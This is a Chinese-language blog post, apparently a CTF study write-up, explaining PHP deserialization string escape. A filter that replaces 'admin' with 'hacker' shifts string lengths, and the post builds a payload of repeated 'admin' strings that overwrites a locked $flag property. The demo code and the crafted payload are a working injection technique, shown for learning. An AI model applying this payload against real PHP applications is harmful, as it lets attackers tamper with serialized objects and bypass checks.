PHP反序列化 字符串逃逸

前言

最近在打西电的新生赛,有道反序列化的题卡了很久,今天在NSS上刷题的时候突然想到做法,就是利用字符串逃逸去改变题目锁死的值,从而实现绕过

为了研究反序列化的字符串逃逸

我们先简单的测试下

原理

复制代码
<?php
class escape{                                                                   
    public $name;                                                 
    public $psword;                                            
    public $flag;       
    public function __construct($u,$p){
        $this->name = $u;
        $this->psword = $p;
        $this->flag = 0;
    }                   
}
$a=new escape('admin','123456');
echo serialize($a);
?> 

输出结果为

复制代码
O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

假设我们增加一个检测函数,去替换我们序列化之后的值,则

复制代码
<?php
class escape{                                                                   
    public $name;                                                 
    public $psword;                                            
    public $flag;       
    
    public function __construct($u,$p){
        $this->name = $u;
        $this->psword = $p;
        $this->flag = 0;
    }                   
}
function filter($s){
    return str_replace("admin","hacker",$s);
}

$a=new escape('admin','123456');
$a_filter = filter(serialize($a));
echo $a_filter;
?> 

输出结果为

复制代码
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

我们比对下这两串输出结果

复制代码
O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}
O:6:"escape":3:{s:4:"name";s:5:"hacker";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

可以发现下面那一串的hacker的长度与实际长度不匹配

假设当$flag=1时回显flag,由于题目是改不了的,那么我们就可以利用字符串逃逸来实现

目标字符串

复制代码
O:6:"escape":3:{s:4:"name";s:5:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}

我们可以把";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}写入到name的值里面,然后通过admin替换hacker的长度差值与之相等即可

我们先写入name里,然后计算下长度为44+5

复制代码
O:6:"escape":3:{s:4:"name";s:49:"admin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

由于我们要挤掉后面长度为44的字符串,构造44*admin

payload

复制代码
O:6:"escape":3:{s:4:"name";s:49:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}";s:6:"psword";s:6:"123456";s:4:"flag";i:0;}

即实例化上传的为

复制代码
<?php
class escape{                                                                   
    public $name;                                                 
    public $psword;                                            
    public $flag;       
    public function __construct($u,$p){
        $this->name = $u;
        $this->psword = $p;
        $this->flag = 0;
    }                   
}
function filter($s){
    return str_replace("admin","hacker",$s);
}

$a=new escape('adminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadminadminadminadmin
adminadminadminadminadminadminadmin";s:6:"psword";s:6:"123456";s:4:"flag";i:1;}','123456');

$a_filter = filter(serialize($a));
$a_filter_unseri = unserialize($a_filter);
var_dump($a_filter_unseri);

我们可以看到flag的值变为1,成功绕过

相关推荐
REDcker8 小时前
Linux信号机制详解 POSIX语义与内核要点 sigaction与备用栈实践
linux·运维·php
REDcker10 小时前
浏览器端Web程序性能分析与优化实战 DevTools指标与工程清单
开发语言·前端·javascript·vue·ecmascript·php·js
云云只是个程序马喽13 小时前
AI漫剧创作系统开发定制指南
人工智能·小程序·php
@insist12317 小时前
信息安全-防火墙技术演进全景:从代理NAT 到下一代及专项防火墙
网络·安全·web安全·软考·信息安全工程师·软件水平考试
Chockmans20 小时前
春秋云境CVE-2017-3506
安全·web安全·网络安全·系统安全·安全威胁分析·春秋云境·cve-2017-3506
Chengbei111 天前
轻量化 Web 安全日志分析神器 星川智盾日志威胁检测、地理溯源、MITRE ATT&CK 映射,支持 Windows/macOS/Linux
前端·人工智能·安全·web安全·macos·系统安全·安全架构
代码飞天1 天前
CTF之内存取证——瞬息万变成为一瞬
安全·web安全·缓存
niucloud-admin1 天前
PHP V6 单商户常见问题——云编译报错处理
php
探索者011 天前
文件上传漏洞指南:原理+绕过手法与靶场实战
安全·web安全·文件上传
xxjj998a1 天前
Laravel 1.x:PHP框架的原始魅力
android·php·laravel